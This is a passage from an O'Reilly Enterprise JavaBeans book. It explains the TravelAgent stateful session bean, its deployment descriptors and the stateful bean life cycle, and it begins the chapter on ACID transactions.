    <ejb-ref-name>ejb/CabinHome</ejb-ref-name>
    <ejb-ref-type>Entity</ejb-ref-type>
    <home>com.titan.cabin.CabinHome</home>
    <remote>com.titan.cabin.Cabin</remote>
</ejb-ref>

The <ejb-ref> tag and its subelements should be self explanatory: they define a name for the bean within the ENC, declare the bean's type, and give the names of its remote and home interfaces. When a bean is deployed, the deployer maps the <ejb-ref> elements to actual beans in a way specific to the vendor. The <ejb-ref> elements can also be linked by the application assembler to beans in the same deployment (a subject covered in detail in Chapter 10, "XML Deployment Descriptors", which is about the XML deployment descriptors).

EJB 1.0: accessing EJB references

In EJB 1.0, beans access other beans in exactly the same way that application clients access beans: you use JNDI to look up the bean's home interface. To accomplish this, the JNDI InitialContext must be created and initialized with properties specific to the EJB vendor.

The TravelAgent bean uses the getJndiContext() method and the DeploymentDescriptor environment properties to obtain references to other beans. The getHome() method should be implemented as follows:

protected Object getHome(String name, Class type) throws RemoteException {
    try {
        String jndiName =
            ejbContext.getEnvironment().getProperty(name);
        return getJndiContext().lookup(jndiName);
    } catch(NamingException ne) {
        throw new RemoteException("Could not lookup ("+name+")",ne);
    }
}

The last point of interest in our bean definition is the bookPassage() method. This method leverages the conversational state accumulated by the ejbCreate() method and the methods (setCabinID(),setCruiseID()) to process a reservation for a customer on a cruise:

public Ticket bookPassage(CreditCard card, double price)
throws IncompleteConversationalState{// EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null) {
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome =
            (ReservationHome) getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
            resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer, cruise, cabin, price);
        return ticket;
    } catch(Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

This method exemplifies the workflow concept. It uses several beans, including the Reservation bean, the ProcessPayment bean, the Customer bean, the Cabin bean, and the Cruise bean to accomplish one task: book a customer on a cruise.Deceptively simple, this method encapsulates several interactions that ordinarily might have been performed on the client. For the price of one bookPassage() call from the client, the TravelAgent bean performs many operations:

  1. Look up and obtain a remote reference to the Reservation bean's EJB home.

  2. Create a new Reservation bean resulting in a database insert.

  3. Look up and obtain a remote reference to the ProcessPayment bean's EJB home.

  4. Create a new ProcessPayment bean.

  5. Charge the customer's credit card using the ProcessPayment bean.

  6. Generate a new Ticket with all the pertinent information describing the customer's purchase.

From a design standpoint, encapsulating the workflow in a stateful session bean means a less complex interface for the client and more flexibility for implementing changes. We could, for example, easily change the bookPassage() method to include a check for overlapped booking (when a customer books passage on two different cruises that overlap). If Titan's customers often book passage on cruises that overlap, we could add logic to bookPassage() to detect the problem. This type of enhancement would not change the remote interface, so the client application wouldn't need modification. Encapsulating workflow in stateful session beans allows the system to evolve over time without impacting clients.

In addition, the type of clients used can change. One of the biggest problems with two-tier architectures--besides scalability and transactional control--is that the business logic is intertwined with the client logic. This makes it difficult to reuse the business logic in a different kind of client. With stateful session beans this is not a problem, because stateful session beans are an extension of the client but are not bound to the client's presentation. Let's say that our first implementation of the reservation system used a Java applet with GUI widgets. The TravelAgent bean would manage conversational state and perform all the business logic while the applet focused on the GUI presentation. If, at a later date, we decide to go to a thin client (HTML generated by a Java servlet, for example), we would simply reuse the TravelAgent bean in the servlet. Because all the business logic is in the stateful session bean, the presentation (Java applet or servlet or something else) can change easily.

The TravelAgent bean also provides transactional integrity for processing the customer's reservation. As explained in Chapter 3, "Resource Management and the Primary Services", if any one of the operations within the body of the bookPassage() method fails, all the operations are rolled back so that none of the changes are accepted. If the credit card can't be charged by the ProcessPayment bean, the newly created Reservation bean and its associated record are removed. The transactional aspects of the TravelAgent bean are explained in detail in Chapter 8, "Transactions".

7.3.1.5. Why use a Reservation entity bean?

Although the Reservation bean is an entity bean, understanding its design and purpose is important to understanding how and why it's used within the TravelAgent bean. For this reason, we will depart momentarily from our discussion of session beans, and the TravelAgent bean in particular, to expand our understanding of the Reservation bean. (The code for this bean is available on the O'Reilly web site. See the preface for details.)

The Reservation bean represents an immutable record in the database: a reservation. It records an event in the history of the reservation system. If you examine the Reservation bean closely, you will discover that you cannot modify its contents once it is created. This means it can't be changed, although it can be deleted. So why make it an entity bean at all? Why not simply write records into the database?

Titan discovered that customers were averaging two calls to confirm their reservations between the time they made the reservation and the time they actually went on the trip. This is a lot of calls when you consider that ships book 2,000 to 3,000 passengers each. Titan also discovered that about 15% of its reservations are canceled. Canceling a reservation means deleting a record, which can be tricky business. In short, Titan was accessing reservation information a lot, mostly to confirm data, but also to delete reservations for cancellations. To provide consistent and safe access to reservation data, Titan created a Reservation bean. This helped encapsulate the logic for creating, reading, and deleting reservation data, so that it could be reused in several different kinds of workflow. In addition to the TravelAgent session, the ConfirmReservation and CancelReservation beans also use the Reservation bean (we don't create bean types like these in this book). These other stateful session beans have different workflow and reuse the Reservation bean differently. Encapsulating the reservation record as an entity bean ensures consistent and safe access to sensitive data.

Another advantage of the Reservation bean is that it can help prevent double booking--when two different customers book the same cabin on the same cruise. There is a gap between the time the customer chooses a cabin and cruise and the time when bookPassage() is invoked. During this time, some other reservation agent could book the same cabin and cruise for a different customer. To prevent a double booking, we can place a unique index on the CABIN_ID and CRUISE_ID in the RESERVATION table. Any attempt to add a new record--by creating a Reservation bean--with the same CABIN_ID and CRUISE_ID will result in an SQLException, effectively preventing a double booking.

EJB provides its own strategy for handling duplicate records through the DuplicateKeyException. The DuplicateKeyException is a type of CreateException that is thrown by the create() methods of the home interfaces for entity beans if the bean cannot be created because a bean with that same primary key already exists. The Reservation bean's primary key is defined as follows:

package com.titan.reservation;
public class ReservationPK implements java.io.Serializable {

    public int cruiseID;
    public int cabinID;

    public ReservationPK(){}
    public ReservationPK(int crsID, int cbnID) {
        cruiseID = crsID;
        cabinID = cbnID;
    }
    ...// equals() & hashCode() methods not shown
}

Notice that the cruiseID and cabinID combination is used to define the uniqueness of a Reservation entity. With container-managed persistence, the DuplicateKeyException is thrown automatically; with bean-managed persistence, we need to capture the SQLException resulting from the attempted insert and throw the DuplicateKeyException explicitly. Either way, the DuplicateKeyException causes the bookPassage() method to fail, preventing the customer from double booking. In our example, we capture the DuplicateKeyException and rethrow it as a DoubleBookedException, which is more understandable from the client's perspective.

If we have a Reservation bean, why do we need a TravelAgent bean? Good question! The TravelAgent bean uses the Reservation bean to create a reservation, but it also has to charge the customer and generate a ticket. These are not activities that are specific to the Reservation bean, so they need to be captured in a stateful session bean that can manage workflow and transactional scope. In addition, the TravelAgent bean also provides listing behavior, which spans concepts in Titan's system. It would have been inappropriate to include any of these other behaviors in the Reservation entity bean.

7.3.1.6. listAvailableCabins( ): Listing behavior

As promised, we are going to bring back the cabin-listing behavior we played around with in Chapter 4, "Developing Your First Enterprise Beans". This time, however, we are not going to use the Cabin bean to get the list; instead, we will access the database directly. Accessing the database directly is a double-edged sword. On one hand, we don't want to access the database directly if entity beans exist that can access the same information. Entity beans provide a safe and consistent interface for a particular set of data. Once an entity bean has been tested and proven, it can be reused throughout the system, substantially reducing data integrity problems. The Reservation bean is an example of that kind of usage. In addition, entity beans can pull together disjointed data and apply additional business logic such as validation, limits, and security to ensure that data access follows the business rules.

But entity beans cannot define every possible data access needed, and they shouldn't. One of the biggest problems with entity beans is that they tend to become bloated over time. A development effort that relies too heavily on entity beans will create beans that have more functionality than is normally needed. Huge entity beans with dozens of methods are a sure sign of poor design. Entity beans should be focused on providing data access to a very limited, but conceptually bound, set of data. You should be able to update, read, and insert records or data specific to that concept. Data access that spans concepts, however, should not be encapsulated in one entity bean. An example of this is listing behavior.

Systems always need listing behavior to present clients with choices. In the reservation system, for example, customers will want to choose a cabin from a list of available cabins. The word available is key to the definition of this behavior. The Cabin bean can provide us with a list of cabins, but not available cabins. That's because a cabin doesn't know if it is available; it only knows the details that describe it. The question of whether a cabin is available or not is relevant to the process using it--in this case TravelAgent--but is not relevant to the cabin itself. As an analogy, an automobile entity would not care what road it's on; it is only concerned with characteristics that describe its state and behavior. An automobile-tracking system would be concerned with the location of individual automobiles.

To get availability information, we need to compare the list of cabins on our ship to the list of cabins that have already been reserved. The listAvailableCabins() method does exactly that. It uses a complex SQL query to produce a list of cabins that have not yet been reserved for the cruise chosen by the client:

public String [] listAvailableCabins(int bedCount)
    throws IncompleteConversationalState { // EJB 1.0: also throws RemoteException

    if (cruise == null) throw new IncompleteConversationalState();

    Connection con = null;
    PreparedStatement ps = null;;
    ResultSet result = null;
    try {
        int cruiseID = ((CruisePK)cruise.getPrimaryKey()).id;
        int shipID = cruise.getShipID();
        con = getConnection();
        ps = con.prepareStatement(
            "select ID, NAME, DECK_LEVEL  from CABIN "+
            "where SHIP_ID = ? and ID NOT IN "+
            "(SELECT CABIN_ID FROM RESERVATION WHERE CRUISE_ID = ?)");

        ps.setInt(1,shipID);
        ps.setInt(2,cruiseID);
        result = ps.executeQuery();
        Vector vect = new Vector();
        while(result.next()) {
            StringBuffer buf = new StringBuffer();
            buf.append(result.getString(1));
            buf.append(',');
            buf.append(result.getString(2));
            buf.append(',');
            buf.append(result.getString(3));
            vect.addElement(buf.toString());
        }
        String [] returnArray = new String[vect.size()];
        vect.copyInto(returnArray);
        return returnArray;
    }
    catch (Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
    finally {
        try {
        if (result != null) result.close();
        if (ps != null) ps.close();
        if (con!= null) con.close();
        }catch(SQLException se){se.printStackTrace();}
    }
}

As you can see, the SQL query is complex. It could have been defined in a bean-managed Cabin bean using a method like Cabin.findAvailableCabins(Cruisecruise) but this would be a poor design choice. First, the Cabin bean would need to access the RESERVATION table, which is not a part of its definition. Entity beans should focus on only the data that defines them.

It might make a little more sense to make this behavior a find method of the Cruise bean. One can imagine a method like Cruise.findAvailableCabins(). You can certainly argue that a cruise should be aware of its own reservations. But this behavior is not very reusable. In other words, this kind of listing behavior is only used in the reservation system. Making it part of the Cruise bean's behavior suggests that is universally useful, which it's not.

The listAvailableCabins() method returns an array of String objects. This is important because we could have opted to return an collection of Cabin remote references, but we didn't. The reason is simple: we want to keep the client application as lightweight as possible. A list of String objects is much more lightweight than the alternative, a collection of remote references. In addition, a collection of remote references means that client would be working with many stubs, each with its own connection to EJB objects on the server. By returning a lightweight string array, we reduce the number of stubs on the client, which keeps the client simple and conserves resources on the server.

To make this method work, you need to create a getConnection() method for obtaining a database connection and add it to the TravelAgentBean:

// EJB 1.1: getConnection()
private Connection getConnection() throws SQLException {
    try {
       DataSource ds = (DataSource)jndiContext.lookup(
           "java:comp/env/jdbc/titanDB");
       return ds.getConnection();
    } catch(NamingException ne) {throw new EJBException(ne);}
}

// EJB 1.0: getConnection()
private Connection getConnection() throws SQLException {
    return DriverManager.getConnection(
        ejbContext.getEnvironment().getProperty("jdbcURL"));
}

Change the remote interface for TravelAgent to include the listAvailableCabins() method as shown in the following code: throws RemoteException,IncompleteConversationalState;

public interface TravelAgent extends javax.ejb.EJBObject {

    public void setCruiseID(int cruise)
        throws RemoteException, FinderException;
    public int getCruiseID() throws RemoteException;

    public void setCabinID(int cabin) throws RemoteException, FinderException;
    public int getCabinID() throws RemoteException;
    public int getCustomerID() throws RemoteException;

    public Ticket bookPassage(CreditCard card, double price)

    public String [] listAvailableCabins(int bedCount)
        throws RemoteException, IncompleteConversationalState;
}

7.3.1.7. EJB 1.1: The TravelAgent deployment descriptor

Use the following XML deployment descriptor when deploying the TravelAgent bean. The most important difference between this descriptor and the deployment descriptor used for the ProcessPayment bean is the <session-type> tag, which states that this bean is stateful, and the use of the <ejb-ref> elements to describe beans that are referenced through the ENC:

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <session>
      <description>
          Acts as a travel agent for booking passage on a ship.
      </description>
      <ejb-name>TravelAgentBean</ejb-name>
      <home>com.titan.travelagent.TravelAgentHome</home>
      <remote>com.titan.travelagent.TravelAgent</remote>
      <ejb-class>com.titan.travelagent.TravelAgentBean</ejb-class>
      <session-type>Stateful</session-type>
      <transaction-type>Container</transaction-type>

      <ejb-ref>
           <ejb-ref-name>ejb/ProcessPaymentHome</ejb-ref-name>
           <ejb-ref-type>Session</ejb-ref-type>
           <home>com.titan.processpayment.ProcessPaymentHome</home>
           <remote>com.titan.processpayment.ProcessPayment</remote>
      </ejb-ref>
      <ejb-ref>
           <ejb-ref-name>ejb/CabinHome</ejb-ref-name>
           <ejb-ref-type>Entity</ejb-ref-type>
           <home>com.titan.cabin.CabinHome</home>
           <remote>com.titan.cabin.Cabin</remote>
      </ejb-ref>
      <ejb-ref>
           <ejb-ref-name>ejb/CruiseHome</ejb-ref-name>
           <ejb-ref-type>Entity</ejb-ref-type>
           <home>com.titan.cruise.CruiseHome</home>
           <remote>com.titan.cruise.Cruise</remote>
      </ejb-ref>
      <ejb-ref>
           <ejb-ref-name>ejb/CustomerHome</ejb-ref-name>
           <ejb-ref-type>Entity</ejb-ref-type>
           <home>com.titan.customer.CustomerHome</home>
           <remote>com.titan.customer.Customer</remote>
      </ejb-ref>
      <ejb-ref>
           <ejb-ref-name>ejb/ReservationHome</ejb-ref-name>
           <ejb-ref-type>Entity</ejb-ref-type>
           <home>com.titan.reservation.ReservationHome</home>
           <remote>com.titan.reservation.Reservation</remote>
      </ejb-ref>

      <resource-ref>
           <description>DataSource for the Titan database</description>
           <res-ref-name>jdbc/titanDB</res-ref-name>
           <res-type>javax.sql.DataSource</res-type>
           <res-auth>Container</res-auth>
      </resource-ref>

  </session>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the TravelAgent bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>TravelAgentBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>TravelAgentBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>

Once you have generated the deployment descriptor, jar the TravelAgent bean and deploy it in your EJB server. You will also need to deploy the Reservation, Cruise, and Customer beans that you downloaded earlier. Based on the business methods in the remote interface of the TravelAgent bean and your past experiences with the Cabin, Ship, and ProcessPayment beans, you should be able to create your own client application to test this code.

7.3.1.8. EJB 1.0: The TravelAgent deployment descriptor

For EJB 1.0, we need to make one change to the deployment descriptor for the TravelAgent bean that we created in Chapter 4, "Developing Your First Enterprise Beans". We need to change the state management type from stateless to stateful. Here is the new definition of the MakeDD class used to generate the deployment descriptor for the TravelAgent bean:

package com.titan.travelagent;

import javax.ejb.deployment.*;
import javax.naming.CompoundName;
import java.util.*;
import java.io.*;

public class MakeDD {

    public static void main(String args []) {
        try {
            if (args.length <1) {
                System.out.println("must specify target directory");
                return;
            }

        SessionDescriptor sd = new SessionDescriptor();

        sd.setEnterpriseBeanClassName(
            "com.titan.travelagent.TravelAgentBean");
        sd.setHomeInterfaceClassName(
            "com.titan.travelagent.TravelAgentHome");
        sd.setRemoteInterfaceClassName(
            "com.titan.travelagent.TravelAgent");

        sd.setSessionTimeout(60);
        sd.setStateManagementType(SessionDescriptor.STATEFUL_SESSION);

        ControlDescriptor cd = new ControlDescriptor();
        cd.setIsolationLevel(ControlDescriptor.TRANSACTION_READ_COMMITTED);
        cd.setMethod(null);
        cd.setRunAsMode(ControlDescriptor.CLIENT_IDENTITY);
        cd.setTransactionAttribute(ControlDescriptor.TX_REQUIRED);
        ControlDescriptor [] cdArray = {cd};
        sd.setControlDescriptors(cdArray);

        // Set enterprise bean's environment properties.
        Properties ep = new Properties();
        ep.put("CruiseHome","CruiseHome");
        ep.put("CabinHome","CabinHome");
        ep.put("ReservationHome","ReservationHome");
        ep.put("ProcessPaymentHome","ProcessPaymentHome");
        ep.put("ShipHome","ShipHome");
        ep.put("jdbcURL","jdbc:subprotocol
:subname
");
        sd.setEnvironmentProperties(ep);

        Properties jndiProps = new Properties();
        CompoundName jndiName =
            new CompoundName("TravelAgentHome",jndiProps);
        sd.setBeanHomeName(jndiName);

        String fileSeparator =
            System.getProperties().getProperty("file.separator");
        if (! args[0].endsWith(fileSeparator))
            args[0] += fileSeparator;

        FileOutputStream fis =
            new FileOutputStream(args[0]+"TravelAgentDD.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fis);
        oos.writeObject(sd);
        oos.flush();
        oos.close();
        fis.close();
        } catch(Throwable t) {t.printStackTrace();}
    }
}

In addition to changing the state management type, we added several environment properties that help us to locate the beans that the TravelAgent bean needs to work with.

Once you have generated the deployment descriptor, jar the TravelAgent bean and deploy it in your EJB server. You will also need to deploy the Reservation, Cruise, and Customer beans that you downloaded earlier. Based on the business methods in the remote interface of the TravelAgent bean and your past experiences with the Cabin, Ship, and ProcessPayment beans, you should be able to create your own client application to test this code.

Previous | Home | Next
7.2. The Life Cycle of a Stateless Session Bean | Book Index | 7.4. The Life Cycle of a Stateful Session Bean
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Life Cycle of a Stateful Session Bean (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

7.4. The Life Cycle of a Stateful Session Bean

The biggest difference between the stateful session bean and the other bean types is that stateful session beans don't use instance pooling. Stateful session beans are dedicated to one client for their entire life, so there is no swapping or pooling of instances.[12] Instead of pooling instances, stateful session beans are simply evicted from memory to conserve resources. The EJB object remains connected to the client, but the bean instance is dereferenced and garbage collected during inactive periods. This means that a stateful bean must be passivated before it is evicted to preserve the conversational state of the instance, and it must be activated to restore the state when the EJB object becomes active again.

[12] Some vendors use pooling with stateful session beans, but that is a proprietary implementation and shouldn't impact the specified life cycle of the stateful session bean.

The bean's perception of its life cycle depends on whether or not it implements a special interface called javax.ejb.SessionSynchronization. This interface defines an additional set of callback methods that notify the bean of its participation in transactions. A bean that implements SessionSynchronization can cache database data across several method calls before making an update. We have not discussed transactions in any detail yet, so we will not consider this view of the stateful session bean's life cycle until Chapter 8, "Transactions". This section describes the life cycle of stateful session beans that do not implement the SessionSynchronization interface.

The life cycle of a stateful session bean has three states: Does Not Exist, Method-Ready, and Passivated. This sounds a lot like a stateless session bean, but the Method-Ready state is significantly different from the Method-Ready Pool of stateless beans. Figures Figure 7-2 and Figure 7-3 show the state diagrams for stateful session beans in EJB 1.1 and EJB 1.1.

Figure 7-2. EJB 1.1 stateful session bean life cycle

Figure 7-3. EJB 1.0 stateful session bean life cycle

7.4.1. Does Not Exist

Like the entity bean and stateless session bean, when a bean instance is in the Does Not Exist state, it is not an instance in the memory of the system. In other words, it has not been instantiated yet.

7.4.2. The Method-Ready State

7.4.2.1. Transitioning to the Method-Ready state

When a client invokes the create() method on an EJB home of a stateful session bean, its life cycle begins. When the create() method is received by the container, the container invokes newInstance() on the bean class, creating a new instance of the bean. At this point, the bean instance is assigned to its EJB object. Next, the container invokes setSessionContext() on the instance, handing it its reference to the SessionContext, which it must maintain for life. Finally, the container invokes the ejbCreate() method on the instance that matches the create() method invoked by the client. Once ejbCreate() has completed, the container returns the EJB object's remote reference to the client. The instance is now in the Method-Ready State and is ready to service business methods invoked by the client on the bean's remote reference.

7.4.2.2. Life in the Method-Ready state

While in the Method-Ready State, the bean instance is free to receive method invocations from the client, which may involve controlling the workflow of other beans or accessing the database directly. During this time, the bean can maintain conversational state and open resources in its instance variables.

7.4.2.3. Transitioning out of the Method-Ready state

Bean instances leave the Method-Ready state to enter either the Passivated state or the Does Not Exist state. During its lifetime, a bean instance will be passivated and activated zero or more times. It's likely that it will be passivated at least once, passing into the Passivated state. The bean enters the Does Not Exist state if it is removed. A client application can remove a bean by invoking one of the remove() methods on the client API, or the container can choose to remove the bean.

7.4.2.4. EJB 1.1 timeouts

The container can remove the bean instance from the Method-Ready State if the bean times out. Timeouts are declared at deployment time in a manner specific to the EJB vendor. When a timeout occurs, the ejbRemove() method is not invoked. A stateful bean cannot time out while a transaction is in progress.

7.4.2.5. EJB 1.0 timeouts

The container removes the bean if it times out (the timeout period is set in the deployment descriptor). When a bean is removed, its ejbRemove() method is invoked, giving the bean instance an opportunity to close any open resources and invoke remove() on any session beans it has referenced.

7.4.3. Passivated State

During the lifetime of a stateful session bean, there may be periods of inactivity, when the bean instance is not servicing methods from the client. To conserve resources, the container can passivate the bean instance while it is inactive by preserving its conversational state and evicting the bean instance from memory.

When a stateful bean is passivated, the instance fields are read and then written to the secondary storage associated with the EJB object. When the stateful session bean has been successfully passivated, the instance is evicted from memory; it is destroyed.

When a bean is about to be passivated, its ejbPassivate() method is invoked, alerting the bean instance that it is about to enter the Passivated state. At this time, the bean instance should close any open resources and set all nontransient, nonserializable fields to null. This will prevent problems from occurring when the bean is serialized.Transient fields will simply be ignored.

EJB 1.1 passivation issues

A bean's conversational state may consist of only primitive values, objects that are serializable, and the following special types:

  • javax.ejb.SessionContext

  • javax.ejb.EJBHome (home interface types)

  • javax.ejb.EJBObject (remote interface types)

  • javax.jta.UserTransaction (bean transaction interface)

  • javax.naming.Context (only when it references the JNDI ENC)

The types in this list (and their subtypes) are handled specially by the passivation mechanism. They don't need to be serializable; they will be maintained through passivation and restored automatically to the bean instance when it is activated.

A bean instance's conversational state will be written to secondary storage to preserve it when the instance is passivated and destroyed. Containers can use standard Java serialization to preserve the bean instance, or some other mechanism that achieves the same result. Some vendors, for example, will simply read the values of the fields and store them in a cache. The container is required to preserve remote references to other beans with the conversational state. When the bean is activated, the container must restore any bean references automatically. The container must also restore any references to the special types listed earlier.

Fields declared transient will not be preserved when the bean is passivated. Except for the special types listed earlier, all fields that are nontransient and nonserializable must be set to null before the instance is passivated or else the container will destroy the bean instance, making it unavailable for continued use by the client. References to special types must automatically be preserved with the serialized bean instance by the container so that they can be reconstructed when the bean is activated.

A bean instance can time out while it is passivated. If a timeout occurs, the container will discard the instance, returning it to the Does Not Exist state. The ejbRemove() method will not be called on an instance that times out.

EJB 1.0 passivation issues

With the exception of the SessionContext and remote references to other beans, conversational state must be primitive values or objects that are serializable. This is because the bean instance's conversational state will be written to secondary storage to preserve it when the instance is destroyed. Containers can use standard Java serialization to preserve the bean instance, or some other mechanism that achieves the same result. Some vendors, for example, will simply read the values of the fields and store them in a cache. The container is required to preserve remote references to other beans with the conversational state. When the bean is activated, the container must restore any bean references automatically. The container must also restore the SessionContext reference automatically.[13]

[13] References to SessionContext or EntityContext in a bean class should not be transient. At the time of this writing, however, at least one major vendor required that references to SessionContext in session beans be transient. This is a proprietary requirement and is noncompliant with the specification.

Nonserializable object references and variables labeled as transient will not be preserved when the bean is passivated. Fields that are nontransient and nonserializable must be set to null before the instance is passivated or the container can destroy the bean, making it unavailable for continued use by the client. References to beans and the SessionContext must be automatically preserved with the serialized bean instance by the container so that they can be reconstructed when the bean is activated.

When the client makes a request on an EJB object whose bean is passivated, the container activates the instance. This involves deserializing the bean instance and reconstructing the SessionContext reference and bean references held by the instance before it was passivated. When a bean's conversational state has been successfully activated, the ejbActivate() method is invoked. The bean instance should open any resources needed and initialize the value of any transient fields within the ejbActivate() method. Once ejbActivate() is complete, the bean is back in the Method-Ready state and available to service client requests delegated by the EJB object.

The activation of a bean instance follows the rules of Java serialization. The exception to this is transient fields. In Java serialization, transient fields are set to their default values when an object is deserialized; primitive numbers become zero, Booleans false, and object references null. In EJB, transient fields do not have to be set to their initial values; therefore, they could contain arbitrary values when the bean is activated. The value held by transient fields following activation is unpredictable across vendor implementations, so don't depend on them to be initialized. Instead, use ejbActivate() to reset their values.

7.4.3.1. EJB 1.1 system exceptions

Whenever a system exception is thrown by a bean method, the container invalidates the EJB object and destroys the bean instance. The bean instance moves directly to the Does Not Exist state and the ejbRemove() method is not invoked.

A system exception is any nonapplication exception including RemoteException, EJBException, and any unchecked exceptions. Checked exceptions thrown from subsystems are usually wrapped in an EJBException and rethrown as system exceptions. A checked exception thrown by a subsystem does not need to be handled this way if the bean can safely recover from the exception. In most cases, however, the subsystem exception should be rethrown as a EJBException.

Previous | Home | Next
7.3. The Stateful Session Bean | Book Index | 8. Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactions (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 8. Transactions

Contents:

ACID Transactions
Declarative Transaction Management
Isolation and Database Locking
Non-Transactional Beans
Explicit Transaction Management
EJB 1.1: Exceptions and Transactions
EJB 1.0: Exceptions and Transactions
Transactional Stateful Session Beans

8.1. ACID Transactions

To understand how transactions work, we will revisit the TravelAgent bean, a stateful session bean that encapsulates the process of making a cruise reservation for a customer. Here is the TravelAgent's bookPassage() method:

public Ticket bookPassage(CreditCard card, double price)
    throws IncompleteConversationalState {
    // EJB 1.0: also throws RemoteException

    if (customer == null || cruise == null || cabin == null){
        throw new IncompleteConversationalState();
    }
    try {
        ReservationHome resHome =
            (ReservationHome) getHome("ReservationHome",ReservationHome.class);
        Reservation reservation =
        resHome.create(customer, cruise, cabin, price);
        ProcessPaymentHome ppHome = (ProcessPaymentHome)
            getHome("ProcessPaymentHome",ProcessPaymentHome.class);
        ProcessPayment process = ppHome.create();
        process.byCredit(customer, card, price);

        Ticket ticket = new Ticket(customer,cruise,cabin,price);
        return ticket;
    } catch(Exception e) {
        // EJB 1.0: throw new RemoteException("",e);
        throw new EJBException(e);
    }
}

The TravelAgent bean is a fairly simple session bean, and its use of other beans is a typical example of business object design and workflow. Unfortunately, good business object design is not enough to make these beans useful in an industrial-strength application. The problem is not with the definition of the beans or the workflow; the problem is that a good design doesn't, in and of itself, guarantee that the TravelAgent's bookPassage() method represents a good transaction. To understand why, we will take a closer look at what a transaction means and what criteria a transaction must meet to be considered reliable.

In business, a transaction usually involves an exchange between two parties. When you purchase an ice cream cone, you exchange money for food; when you work for a company, you exchange skill and time for money (which you use to buy more ice cream). When you are involved in these exchanges, you monitor the outcome to ensure that you don't get "ripped off." If you give the ice cream vendor a $20 bill, you don't want him to drive off without giving you your change; you want to make sure that your paycheck reflects all the hours that you worked. By monitoring these commercial exchanges, you are attempting to ensure the reliability of the transactions; you are making sure that the transaction meets everyone's expectations.

In business software, a transaction embodies the concept of a commercial exchange. A business system transaction (transaction for short) is the execution of a unit-of-workthat accesses one or more shared resources, usually databases. A unit-of-work is a set of activities that relate to each other and must be completed together. The reservation process is a unit-of-work made up of several activities: recording a reservation, debiting a credit card, and generating a ticket together make up a unit-of-work.

Transactions are part of many different types of systems. In each transaction, the objective is the same: to execute a unit-of-work that results in a reliable exchange. Here are some examples of other types of business systems that employ transactions:

ATM

The ATM (automatic teller machine) you use to deposit, withdraw, and transfer funds, executes these units-of-work as transactions. In an ATM withdrawal, for example, the ATM checks to make sure you don't overdraw and then debits your account and spits out some money.

Online book order

You've probably purchased many of your Java books from an online bookseller--maybe even this book. This type of purchase is also a unit-of-work that takes place as a transaction. In an online book purchase, you submit your credit card number, it is validated, and then a charge is made for price of the book, and an order to ship you the book is sent to the bookseller's warehouse.

Medical system

In a medical system, important data--some of it critical--is recorded about patients every day, including information about clinical visits, medical procedures, prescriptions, and drug allergies. The doctor prescribes the drug, then the system checks for allergies, contraindications, and appropriate dosages. If all tests pass, then the drug can be administered. The tasks just described make up a unit-of-work in a medical system. A unit-of-work in a medical system may not be financial, but it's just as important. A failure to identify a drug allergy in a patient could be fatal.

As you can see, transactions are often complex and usually involve the manipulation of a lot of data. Mistakes in data can cost money, or even a life. Transactions must therefore preserve data integrity, which means that the transaction must work perfectly every time or not be executed at all. This is a pretty tall order, especially for complex systems. As difficult as this requirement is, however, when it comes to commerce there is no room for error. Units-of-work that involve money, or anything of value, always require the utmost reliability because errors impact the revenues and the well-being of the parties involved.

To give you an idea of the accuracy required by transactions, think about what would happen if a transactional system suffered from seemingly infrequent errors. ATMs provide customers with convenient access to their bank accounts and represent a significant percentage of the total transactions in personal banking. The number of transactions handled by ATMs are simple but numerous, providing us with a great example of why transactions must be error proof. Let's say that a bank has 100 ATMs in a metropolitan area, and each ATM processes 300 transactions (deposits, withdrawals, or transfers) a day for a total of 30,000 transactions per day. If each transaction, on average, involves the deposit, withdrawal, or transfer of about $100, about three million dollars would move through the ATM system per day. In the course of a year, that's a little over a billion dollars:

(365 days) × (100 ATMs) × (300 transactions) × ($100.00) = $1,095,000,000.00

How well do the ATMs have to perform in order for them to be considered reliable? For the sake of argument, let's say that ATMs execute transactions correctly 99.99% of the time. This seems to be more than adequate: after all, only one out of every ten thousand transactions executes incorrectly. But over the course of a year, if you do the math, that could result in over $100,000 in errors!

$1,095,000,000.00 × .01% = $109,500.00

Obviously, this is an oversimplification of the problem, but it illustrates that even a small percentage of errors is unacceptable in high-volume or mission-critical systems. For this reason, experts in the field of transaction services have identified four characteristics of a transaction that must be followed in order to say that a system is safe. Transactions must be atomic, consistent, isolated, and durable (ACID)--the four horsemen of transaction services. Here's what each term means:

Atomic

To be atomic, a transaction must execute completely or not at all. This means that every task within a unit-of-work must execute without error. If any of the tasks fails, the entire unit-of-work or transaction is aborted, meaning that changes to the data are undone. If all the tasks execute successfully, the transaction is committed, which means that the changes to the data are made permanent or durable.

Consistent

